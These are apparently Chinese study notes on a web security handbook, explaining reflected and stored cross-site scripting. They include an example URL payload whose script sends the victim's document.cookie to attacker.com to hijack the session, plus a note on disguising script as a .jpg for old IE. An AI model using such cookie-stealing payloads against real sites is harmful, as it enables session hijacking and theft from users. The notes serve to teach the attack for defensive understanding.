黑客攻防技术宝典 — Notes 9.1 针对客户端的攻击 — 跨站点脚本XSS(1)
FYI, 软件安全领域的关注焦点已从服务器端攻击转变为客户端攻击 原书说,“ XSS攻击是针对其它用户的重量级攻击” 1.反射型漏洞 a.URL参数中接受一个文本 http://hello.com/msg.jsp?msg= Sorry,页面渲染后这个文本将打 印在页面上 <p>Sorry</p>,亦即将用户在HTTP参数中输入的文本“ 反射”给用户 b.攻击者在参数中不输入正常的文本,而是一段javascript,然后把这个URL发给一个用户 http://hello.com/msg.jsp?msg= <script>var+i=new+Image;+i.src="http://attacker.com/"%2bdocument.cookie;</script> c.收到这个URL的用户点击之,就会使浏览器执行以下脚本 var i = new Image; i.src="http://attacker.com/"+[b]document.cookie[/b]; 也就是说把自己的cookie发给了攻击者拥有的网站 "http://attacker.com/"。攻击者就这样简单地 挟持了一个会话。 这个脚本收集了 hello.com的Cookie,却把Cookie发到了 attacker.com,也就是说,这是个 跨站点的脚本 2.保存型漏洞 发表文章时,写入一段脚本,其他用户看你的帖子时就会执行这段脚本。 这种攻击很厉害:反射型攻击需要诱使别人点你的链接,这种攻击不用;别人点你的链接时基本上已 经登录了,这样你劫持到的session就更好用。 你甚至可以把脚本写入到图片中,对某些版本的IE来说,如果输入 http://../actual_script.jpg, IE浏览器会把它当HTML来解析。